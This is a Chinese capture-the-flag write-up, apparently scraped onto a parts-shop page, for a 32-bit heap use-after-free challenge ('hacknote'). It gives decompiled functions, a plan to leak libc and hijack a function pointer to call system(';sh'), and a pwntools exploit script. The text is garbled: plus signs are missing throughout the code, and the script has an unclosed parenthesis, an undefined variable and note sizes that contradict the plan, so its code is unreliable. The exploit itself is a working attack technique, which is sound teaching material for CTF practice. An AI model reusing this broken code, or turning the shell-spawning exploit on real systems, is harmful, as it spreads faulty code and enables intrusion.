资讯详情

BUUCTF-PWN-pwnable_hacknote-UAF

1.checksec 运行

标准菜单模式

canary和NX保护

2.32位IDA

1.sub_8048646()

unsigned int sub_8048646() {   int v0; // ebx   int i; // [esp Ch] [ebp-1Ch]   int size; // [esp 10h] [ebp-18h]   char buf[8]; // [esp 14h] [ebp-14h] BYREF   unsigned int v5; // [esp 1Ch] [ebp-Ch]    v5 = __readgsdword(0x14u);   if ( dword_804A04C <= 5 )   {     for ( i = 0; i <= 4;   i )     {       if ( !*(&ptr   i) )       {         *(&ptr   i) = malloc(8u); //malloc 0x8 的chunk,叫note块         if ( !*(&ptr   i) )         {           puts("Alloca Error");           exit(-1);         }         *(_DWORD *)*(&ptr   i) = sub_804862B; //note[0]存放puts()函数地址         printf("Note size :");         read(0, buf, 8u);         size = atoi(buf);         v0 = (int)*(&ptr   i);         *(_DWORD *)(v0   4) = malloc(size);  //malloc size 的chunk,叫content块         if ( !*((_DWORD *)*(&ptr   i)   1) )  //note[1]存放content的地址         {           puts("Alloca Error");           exit(-1);         }         printf("Content :");         read(0, *((void **)*(&ptr   i)   1), size); //存放我们申请堆块的size         puts("Success !");           dword_804A04C;         return __readgsdword(0x14u) ^ v5;       }     }   }   else   {     puts("Full");   }   return __readgsdword(0x14u) ^ v5; }

2.sub_80487D4()

unsigned int sub_80487D4() {   int v1; // [esp 4h] [ebp-14h]   char buf[4]; // [esp 8h] [ebp-10h] BYREF   unsigned int v3; // [esp Ch] [ebp-Ch]    v3 = __readgsdword(0x14u);   printf("Index :");   read(0, buf, 4u);   v1 = atoi(buf);   if ( v1 < 0 || v1 >= dword_804A04C )   {     puts("Out of bound!");     _exit(0);   }   if ( *(&ptr   v1) )   {     free(*((void **)*(&ptr   v1)   1)); //释放note块     free(*(&ptr   v1));                 //释放content块     puts("Success");                    //两个chunk都没有被置NULL,存在UAF漏洞   }   return __readgsdword(0x14u) ^ v3; }

3.sub_80488A5()

unsigned int sub_80488A5() {   int v1; // [esp 4h] [ebp-14h]   char buf[4]; // [esp 8h] [ebp-10h] BYREF   unsigned int v3; // [esp Ch] [ebp-Ch]    v3 = __readgsdword(0x14u);   printf("Index :");   read(0, buf, 4u);   v1 = atoi(buf);   if ( v1 < 0 || v1 >= dword_804A04C )   {     puts("Out of bound!");     _exit(0);   }   if ( *(&ptr   v1) )     (*(void (__cdecl **)(_DWORD))*(&ptr   v1))(*(&ptr   v1)); //调用puts()函数   return __readgsdword(0x14u) ^ v3;                //输出note块chunk存储地址的内容 }

利用思路

泄露libc,调用system,执行bin/sh/,获取shell

泄露libc

print note可打印泄露地址

  1. 先add chunk0,add chunk1,大小都为0x80。
  2. 然后delete chunk1,chuk0.此时再申请add chunk2,大小为8.
  3. chunk2的note块是chunk0的note块,chunk2的content块是chunk1的note块。
  4. 向content2中写入puts函数地址和free@got表地址
  5. 调用 show(chunk2),执行puts和free@got表地址,将free函数的实际地址泄露,然后根据偏移泄露system函数地址。

调用system执行bin/sh/

引入函数的参数是note结构本身不能直接传入字符串\bin\sh”,

原来的note_puts(arg0)是对puts(arg0 4)包装,现在system(arg0)中arg0不指向字符串,而是指向system地址,所以这里需要system参数截断,

system参数用";sh\x00"或者"||sh"截断

EXP

from pwn import * context(arch='i386',os='linux',log_level='debug') elf = ELF('./hacknoteuaf') libc = ELF('./libc-2.23-32.so') p = remote("node4.buuoj.cn",27486)  def add_note(size,content):     p.recvuntil("choice :")     p.sendline("1")     p.recvuntil("size :")     p.sendline(str(size))     p.recvuntil("Content :")     p.sendline(content)  def del_note(index):     p.recvuntil("choice :")     p.sendline("2")     p.recvuntil("Index :")     p.sendline(str(index))  def print_note(index):     p.recvuntil("choice :")     p.sendline("3")     p.recvuntil("Index :")     p.sendline(str(index))   add_note(64,"12") add_note(32,"12") del_note(0) add_note(64,"45") print_note(2)  libc_addr = u32(p.recv(8)[4:8] - 0x1b07b0 sys_addr = libc_addr   mylibc.symbols['system']  # add_note(8,"12") # add_note(8,"34") # del_note(3) # del_note(4) del_note(0) del_note(1) add_note(8,p32(sys_addr) ";sh\x00") print_note(0) p.interactive()

标签: 04c热过载继电器lrd

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台